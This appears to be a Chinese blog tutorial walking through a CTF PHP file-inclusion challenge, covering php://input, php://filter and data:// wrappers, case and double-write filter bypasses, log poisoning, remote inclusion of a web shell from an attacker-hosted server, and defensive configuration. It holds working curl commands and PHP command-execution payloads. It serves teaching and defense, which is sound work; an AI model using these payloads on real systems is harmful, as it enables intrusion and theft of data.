news 2026/10/21 14:28:08

PHP文件包含漏洞实战:从CTF题目到伪协议绕过与代码执行

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP文件包含漏洞实战:从CTF题目到伪协议绕过与代码执行

刷过几轮CTF Web方向的朋友,对“攻防世界:Web_php_include”这道题应该都不陌生。它几乎是PHP文件包含漏洞的教科书:一个典型的include $_GET['page'],加上一层过滤规则,逼着你把伪协议、代码执行、过滤绕过这些知识全串起来。这篇文章我会把这道题的完整解题思路、底层原理、常见变体和踩坑点全部拆开讲,主打一个“下次遇到文件包含,你能自己把路子走通”。

适合正在刷CTF入门题的新手,也适合做Web渗透或代码审计的朋友用来补一补文件包含漏洞的利用面。我尽量不用废话,直接讲透。

1. 先看懂这道题在考什么

1.1 文件包含漏洞是怎么产生的

PHP里有四个文件包含函数:include、include_once、require、require_once。它们的作用都是把目标文件内容引入当前PHP脚本中,并且目标文件里的PHP代码会被直接解析执行。听起来很方便,但一旦文件名来自用户输入,就出事了。

最典型的代码长这样:

<?php $page = $_GET['page']; include($page); ?>

这种代码在真实项目里也不少见。很多老系统的模板加载、页面跳转、语言切换模块,都会写成include $_GET['xxx']或include $_POST['xxx']。开发者本意可能只是想根据参数加载不同页面,结果把整个文件系统的入口都交给了前端。如果用户传入page=../../../../etc/passwd,服务器就把系统用户文件内容带出来;如果传page=php://input,再在POST里塞一段PHP代码,直接就是任意代码执行。

攻防世界这道题的底层逻辑,就是这个漏洞模型。题目环境会把源码通过show_source(__FILE__)展示在最前面,等于直接告诉你“来审计我吧”。第一步就是读懂代码,找include点。

1.2 这道题把考点拆开看

Web_php_include这道题的核心考点有三个:本地文件包含、PHP伪协议利用、过滤绕过。

本地文件包含(LFI)相对基础,难在后续利用。因为直接include('/etc/passwd')只能读取文本,但大多数题目要的是RCE(远程代码执行)或读取服务器上的PHP源码。要达到这个目标,就得借助伪协议。这道题的代码里通常没有过滤,或者过滤写得很简单(比如把php://替换掉),因此需要你的payload绕过这层限制,把php://input里POST的PHP代码执行起来。

我刷过好几个版本的这道题,有的环境是直接裸的include $page,有的加了个str_replace("php://", "", $page),有的用preg_match匹配特定关键字。每加一层规则,利用方式就不一样。所以与其背payload,不如把原理吃透——题目怎么变都能打。

2. 动手之前,先把PHP的几个配置和行为机制搞清楚

2.1 三个关键配置项决定利用面

PHP文件包含能否玩出花,很大程度上取决于php.ini里的配置。我整理了一个对照表,做题和审计代码时可以直接对着看:

配置项作用范围默认值对解题的影响
allow_url_include是否允许通过include/require包含远程URL或URL式流Off必须为On,php://input、data://才能在include时生效
allow_url_fopen是否允许打开远程URL文件On影响file_get_contents等函数读取URL,但不影响include伪协议
open_basedir限制PHP可访问的目录范围未设置如果设置严格,文件包含会被圈在特定目录内,绕过成本变高

注意区分allow_url_fopen和allow_url_include。很多人一开始搞混,以为开fopen就能用伪协议RCE。实际上,include一个远程URL需要的是allow_url_include=On;而allow_url_fopen只管file_get_contents('http://...')这类远程读取。CTF题里为什么会频繁用到php://input?就是因为很多题目的环境中,allow_url_include被特意打开了,这是出题人给的入口。

2.2 代码审计时要盯住的几个分支

拿到题目先别急着打,按这个顺序把源码读一遍:

  • 看入口参数:是GET还是POST,参数名是什么,有没有默认值。
  • 看包含函数:用的是include、require还是file_get_contents。前两者会解析PHP代码,后者通常只是读文件。
  • 看过滤规则:有没有关键字黑名单,是替换还是拦截,替换后是否会二次解析。
  • 看输出方式:show_source会直接把目标文件源码打出来,还是echo一个值。

在攻防世界这道题里,你会看到类似这样的代码:

<?php show_source(__FILE__); $page = $_GET['page']; if (isset($page)) { if (strstr($page, "php://")) { die("Hacker!!!"); } include $page; } ?>

strstr是大小写敏感的,php://这个写法会被拦,但Php://、PHP://、pHp://都能绕过。这类细节就是后面要聊的利用点。

3. 伪协议实战解析:四种流方式横向对比

3.1 php://input:把POST体变成PHP代码

php://input是一个只读流,可以读取请求体中的原始数据。当它出现在include的参数里时,PHP会把请求体内容当作PHP代码执行。这个特性在PHP 5.2.0以后都支持,但要在include中使用它,依赖前面说的allow_url_include=On。

这种利用方式非常直接。比如目标代码是上面那个include $page,你只需要发送:

GET /?page=php://input HTTP/1.1 Host: 目标地址 Content-Type: application/x-www-form-urlencoded <?php phpinfo(); ?>

服务器会直接执行phpinfo(),页面输出一大片PHP环境信息。此时你已经把文件包含漏洞升级成了任意PHP代码执行,剩下的事就是找flag。

用命令行打更干净,随手记下来这个curl模板:

curl -X POST --data-binary "<?php phpinfo(); ?>" "http://目标地址/?page=php://input"

--data-binary会原样发送POST体,不会被curl做任何二次格式化,这是我最推荐的方式。

3.2 php://filter:不执行代码,但能把源码扒出来

php://filter是另一个高频伪协议,它的作用是读取文件并做流过滤,常用姿势是把文件内容base64编码后输出,从而绕过“include执行PHP代码”的特性,直接看到源码。

典型payload:

/?page=php://filter/read=convert.base64-encode/resource=flag.php

服务端会返回一串base64,解码后就是flag.php的完整源码。这个方法最大的优势是不受allow_url_include限制,因为filter只是读取本地文件流,不需要开启远程包含。在很多题目中,即使php://input打不进去,php://filter依然能读源码,帮你拿到后续思路的关键信息。

3.3 data:// 和 file:// 的适用场景

data://协议可以直接在URL里内联编码的数据,比如:

/?page=data://text/plain,<?php phpinfo(); ?>

或者base64编码版本:

/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

这两种都需要allow_url_include=On。data://的好处是不用额外发POST请求,一条GET就能完成代码执行,在有些要求“不能修改请求方法”的复杂场景里会好用。缺点是包含特殊字符时容易被过滤,实战中我会优先试php://input,再试data://。

file://协议则简单得多,用于读取本地文件,比如file:///etc/passwd。它没有代码执行能力,更多是在确认LFI存在时用来探测文件路径。

3.4 触发条件核对清单

当你面对一个文件包含点时,按下面的顺序做快速体检:

  1. 确认include/require参数可控。可控性不达标,后面都免谈。
  2. 尝试php://input+ POST代码。如果页面出现phpinfo,直接进入RCE阶段。
  3. 若被过滤,尝试大小写、双写、URL编码等绕过。
  4. 若php://input无效,尝试php://filter读源码,判断过滤规则和文件路径。
  5. 若filter也异常,尝试file://读取绝对路径下的敏感文件,或data://直接执行。
  6. 最后才考虑日志包含、session文件包含等间接手段。

这套顺序基本覆盖了大多数CTF题目的解法。

4. 完整解题实操:从外网探针到拿到flag

4.1 第一步:信息收集与漏洞确认

进入题目环境,第一眼看到的画面往往是show_source(__FILE__)输出的PHP源码。这时候不要急着乱传参,先把页面结构、题目提示、可能的路径信息记录一下。

确认include点之后,第一发请求建议用最保守的方式确认漏洞存在:

curl "http://目标地址/?page=php://filter/read=convert.base64-encode/resource=index.php"

如果返回一串base64,说明include点可以打、filter没有被过滤,并且拿到了当前脚本源码。这一步比直接上phpinfo更稳,因为即使环境里allow_url_include=Off,你也能确定漏洞存在,而且能拿到源码来读过滤规则。

4.2 第二步:用php://input拿到代码执行

确认漏洞点之后,上主菜。用Burp或curl发送:

curl -X POST --data-binary "<?php phpinfo(); ?>" "http://目标地址/?page=php://input"

如果页面出现phpinfo的大表格,恭喜,这一步已经拿到PHP代码执行能力。这时候你要做的不是马上读flag,而是先看几个关键信息:

  • phpinfo里的allow_url_include、open_basedir、disable_functions。
  • 当前目录路径,例如DOCUMENT_ROOT。
  • 扩展加载情况,判断能否用特殊函数。

如果你怀疑环境过滤了php://,先换PHP://input或pHP://input试一次。因为大小写绕过在这一步的成功率非常高。

4.3 第三步:定位flag文件并读取

拿到代码执行能力后,读文件的办法就多了。最朴素的是用system直接跑命令:

curl -X POST --data-binary "<?php system('find / -name \"*flag*\" 2>/dev/null'); ?>" "http://目标地址/?page=php://input"

如果flag不在根目录,也可以先列目录:

<?php system('ls -la /'); ?> <?php system('ls -la /var/www/html'); ?> <?php system('cat /flag'); ?>

命令执行不通(比如被disable_functions禁了system、exec等)时,也可以退一步,用highlight_file('/flag')、file_get_contents加echo直接把文件内容打出来。在CTF环境中,这类函数往往仍然可用。

4.4 备选路径:日志包含与临时文件包含

有几种情况会让php://input这条路彻底走不通:

  • allow_url_include=Off
  • 伪协议关键字被过滤得比较彻底
  • 目标环境对POST长度或内容类型有限制

这时可以打日志文件。思路是先把PHP代码写进访问日志,再通过LFI包含日志文件,触发执行。比如向目标发送一个带PHP代码的User-Agent:

User-Agent: <?php system('id'); ?>

然后包含日志:

/?page=/var/log/apache2/access.log

页面就会执行日志里的PHP代码。这个技巧的难点在于日志路径不确定,常见的路径有:

/var/log/apache2/access.log /var/log/apache/access.log /var/log/httpd/access_log /opt/lampp/logs/access_log

如果日志路径不对,可以结合php://filter读取Apache配置文件定位。另一种类似的思路是包含session文件,但需要提前知道PHP的session文件保存路径和session文件名,实战中较难猜,一般作为备选方案。

再补充一个比赛常用的LFI2RCE技巧——临时文件包含:通过上传一个文件,PHP会将文件缓存到/tmp/phpXXXXXX,再配合LFI包含这个临时文件执行代码。这个方法对PHP版本和上传条件有要求,属于高难进阶技巧,这里点到为止。

5. 绕过思路与变种:和过滤规则博弈

5.1 常见过滤及对应绕过

CTF题目最喜欢在有漏洞代码的前面套一层过滤,Web_php_include这道题的变种也不例外。我见过的主要有这么几类:

过滤php://关键字

使用str_replace("php://", "", $page),直接把php://替换为空。绕过思路是双写:

/?page=phphp:////input

替换一次后变成php://input,成功绕过。因为替换后字符串再次进入include解析,等于“滤了个寂寞”。

大小写敏感过滤

如果过滤函数是strstr或preg_match('/php/i')没加大小写标记,直接换大小写:

Php://input PHP://INPUT pHp://input

PHP的流包装器解析协议名时不区分大小写,所以PHP://和php://效果相同。这是最省事的绕过。

过滤php关键字

有些过滤会把所有php字符串替换为空,比如你写php://input直接变成://input,没法用了。这时可以双写:

pphphp://input

替换后变成php://input。或者利用php->filter等其他协议替代,比如某些场景下用data://text/plain,<?php ... ?>,因为它不依赖php关键字出现在协议名里。

过滤://或:

一些过滤规则会把://或冒号去掉。可以试试对冒号做URL编码,写成:

php%3a//input

但这里有个坑:PHP流包装器的解析不一定会自动URL解码协议名,所以这种编码有时无效,有时有效,取决于过滤函数放在哪一层。如果过滤函数执行在include之前,字符串最终会原样进入include解析;如果过滤函数先做了urldecode再替换,那URL编码就没有意义。这个需要实际测试,不要一看网上payload能用就机械套用。

精确匹配参数值

如果代码是if ($_GET['page'] == "php://input"),直接写php://input会被拦。可以在后面加个查询串或路径试试:

/?page=php://input?a=1

这个写法在真实环境里不一定通用,取决于PHP解析目标流的参数处理,但在一些题目里确实能绕过“等于比较”,值得一试。

5.2 当伪协议完全失效时怎么办

如果allow_url_include=Off,php://input和data://都打不了。这题还能做吗?能。

  • 第一优先用php://filter读源码,因为filter不受include限制,总能拿到东西。
  • 读源码后看代码里有没有别的点,比如另一个文件自己include了某个固定文件,配合目录穿越越权读取。
  • 尝试日志包含或者Session文件包含,前提是能找到路径。
  • 检查是否存在文件上传点,上传带PHP后门的图片,再通过LFI包含这个图片马,达到RCE。

注意,这些手段在真实生产环境中属于高风险操作,且必须在有书面授权的测试范围内进行。CTF题目本来就是为此设计的练习环境,别拿这些payload去公网乱试。

5.3 远程文件包含(RFI)的边界

如果题目环境开着allow_url_include,并且没限制http://,你甚至可以远程包含自己的VPS上的恶意PHP文件:

/?page=http://你的服务器/shell.txt

shell.txt里写:

<?php system($_GET['cmd']); ?>

然后用/?page=http://你的服务器/shell.txt&cmd=id直接执行命令。不过CTF题目一般会禁用外网访问,这类RFI更多用在测试环境或内网渗透场景中。从解题效率看,伪协议的优先级仍然高于RFI,因为不用额外起服务器。

6. 踩坑实录:常见问题和排查技巧

6.1 四个打不进去的高频原因

POST体没被正确发送

用Burp测试时,别忘了在Body区域填原始数据,并且Content-Type要保持application/x-www-form-urlencoded或直接留空。如果Burp把POST数据自动做了URL编码,php://input读到的就是编码后的乱码,代码执行当然失败。用curl的--data-binary是最省心的。

页面没有回显,但代码可能已经执行

phpinfo()的输出页很可能被题目环境的某种输出处理吞掉。不要只看页面空白就认为失败,可以换成墙角型payload验证,比如:

<?php echo "test123"; ?>

如果页面出现test123,证明执行成功,只是输出位置或渲染有问题。

page参数名搞错

题目里面的参数不一定叫page,有的变种叫file、path、include、url。以源码为准,别套模板。

过滤规则比你想象的更严格

有时候需要组合绕过:先大小写,再双写,再加参数。遇到这种情况,我的做法是把过滤源码用filter读出来,看清规则后再写payload,不要盲目试错。

6.2 从报错和返回特征反推后端

PHP的报错信息有时候就是最好的情报。如果你看到:

Warning: include(): Failed opening 'php://input' for inclusion

说明allow_url_include为Off,这条路堵死了,换filter或日志。

如果页面直接输出“Hacker!!!”,说明命中了过滤规则,换个曲线绕法即可。

如果php://filter返回的不是base64而是一串乱码,通常是编码过滤器没生效,检查read=convert.base64-encode是否被过滤规则删掉。

记录一个自己的小习惯:所有请求都用Burp的Repeater保持原始格式,响应里带BOM或换行符问题时,把显示切到Hex模式看一下。很多纠结半天的“无回显”,其实是特殊字符干扰了肉眼判断。

6.3 关于路径穿越的补充

当页面直接包含文件且没有过滤../时,常规LFI路径穿越也能读文件:

/?page=../../../../etc/passwd

但这道题由于伪协议的存在,路径穿越通常不是最优解。它更适合用来确认漏洞存在性和判断目录深度。记住一个原则:能直接RCE就不只读文件,能读源码就不盲目扫目录。

7. 反守为攻:文件包含漏洞的防御思路

7.1 入口限制优先于过滤

防御文件包含漏洞,最核心的一条是:不要用用户输入直接拼接include文件名。如果业务非要动态包含文件,用白名单映射:

<?php $pages = [ 'home' => './pages/home.php', 'about' => './pages/about.php', 'contact' => './pages/contact.php', ]; if (isset($pages[$_GET['page']])) { include $pages[$_GET['page']]; } else { include './pages/error.php'; } ?>

这样用户只能选字典里固定的几个值,什么伪协议、目录穿越都失去了意义。

7.2 运行时配置加固

如果代码无法立即重构,最低限度也要在PHP层面做配置:

allow_url_include = Off allow_url_fopen = Off open_basedir = /var/www/html

allow_url_include关闭后,php://input在include里的利用直接失效;open_basedir则把文件访问圈在web目录内,即使存在LFI也不能随意读/etc/passwd或/flag。

7.3 代码层防御的常见误区

很多代码审计新手觉得“我过滤掉php://和../就安全了”,这是最大的误区。过滤规则总有绕过角度,大小写、双写、编码、参数拼接、日志注入,哪个都能把黑名单撕开口子。真正的防御必须建立在“输入不可控”或“输入被白名单化”的基础上,黑名单只能算临时缓解。

另一个实操层面容易被忽略的点是open_basedir配置後,允许包含的目录也要同步调整。之前见过某项目开了open_basedir但把/tmp漏在外面,攻击者上传文件后先包含/tmp下的临时文件,依然拿到执行权限。边界设置要跟着业务模型走,不能配完就万事大吉。

按照我个人的习惯,每次审计遇到文件包含,至少会给业务方提三条建议:入口白名单、关闭远程包含、目录隔离。这三条能挡住绝大多数利用方式,至于日志包含、临时文件包含这类进阶手法,基本都建立在代码无法RCE、只能间接打文件的场景下,把入口堵死是最省钱省力的方案。

往后你遇到任何文件包含类的题目,先不要急着套payload,按“确认入口 → 看清过滤 → 试探伪协议 → 读到源码 → 执行/读取目标”的节奏走,思路会比背几百个payload清晰得多。这道题练会了,很多PHP包含类的比赛题就都只是姿势变形,底层的博弈逻辑完全一样。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/21 14:27:57

从技术验证到规模化运营:L4自动驾驶为何必须与整车厂深度绑定?

先说一个行业里大家心照不宣的观察&#xff1a;每次公开新闻里出现“深化合作”这四个字&#xff0c;往往意味着两家公司已经从“试试看”阶段走到了“真要一起干”的阶段。今年让我印象很深的一件事&#xff0c;就是某家头部的L4自动驾驶技术公司&#xff08;下边我就叫它M智驾…

作者头像 李华
网站建设 2026/10/21 14:25:11

三菱FX5U上位机通信:SLMP协议报文组包与批量读写实战解析

简介&#xff1a;三菱FX5U上位机以太网通信方案&#xff0c;面向C#开发人员与工业自动化工程师&#xff0c;解决基于3E帧报文结构实现上位机与三菱FX5U PLC的以太网通信问题&#xff0c;适用于自动化立体仓库等需要上位机控制与数据交换的场景。压缩包共35个文件&#xff0c;以…

作者头像 李华
网站建设 2026/10/21 14:24:51

AI辅助错误码治理:从千头万绪到标准化的实战指南

接手一个跑了六年的老服务&#xff0c;第一周我就被日志里的错误码整懵了&#xff1a;同一个“登录鉴权失败”的场景&#xff0c;代码里同时出现了 10001 、 ERROR_AUTH 、 AUTH_FAILED 、 2023AUTHFAIL 四种写法。错误码体系混乱这事&#xff0c;几乎每个中大型项目都…

作者头像 李华
网站建设 2026/10/21 14:24:30

机器人地图处理模块 lingbot-map:栅格地图标准化、坐标变换与可视化调试

搞机器人项目最烦的一件事就是地图处理&#xff0c;你会发现真正拖慢进度的往往不是算法本身&#xff0c;而是地图数据的格式不统一、坐标系对不上、可视化调半天看不见效果。lingbot-map 就是在这样的背景下做出来的一个地图处理模块&#xff0c;它解决的问题很具体&#xff1…

作者头像 李华
网站建设 2026/10/21 14:24:29

织梦蜘蛛爬行插件安装实战:版本、权限与计划任务一次跑通

简介&#xff1a;这款蜘蛛爬行插件专为织梦内容管理系统设计&#xff0c;面向网站管理员、SEO优化人员和织梦二次开发者&#xff0c;用于在网站收录下滑、外链失效或内链混乱时快速诊断抓取异常。插件能够模拟百度、谷歌、360等主流搜索引擎爬虫&#xff0c;提供抓取日志分析、…

作者头像 李华
网站建设 2026/10/21 14:24:00

IPv4地址与VLSM变长子网掩码:子网划分从原理到实战详解

开头有点意思&#xff0c;先聊一个我常碰到的场景&#xff1a;有人拿着一张网络规划表来找我&#xff0c;说“我这网段明明配了192.168.1.0/24&#xff0c;大几百个地址随便用&#xff0c;为什么财务部12台设备还互相不通、上网还一卡一卡的&#xff1f;”。我一看&#xff0c;…

作者头像 李华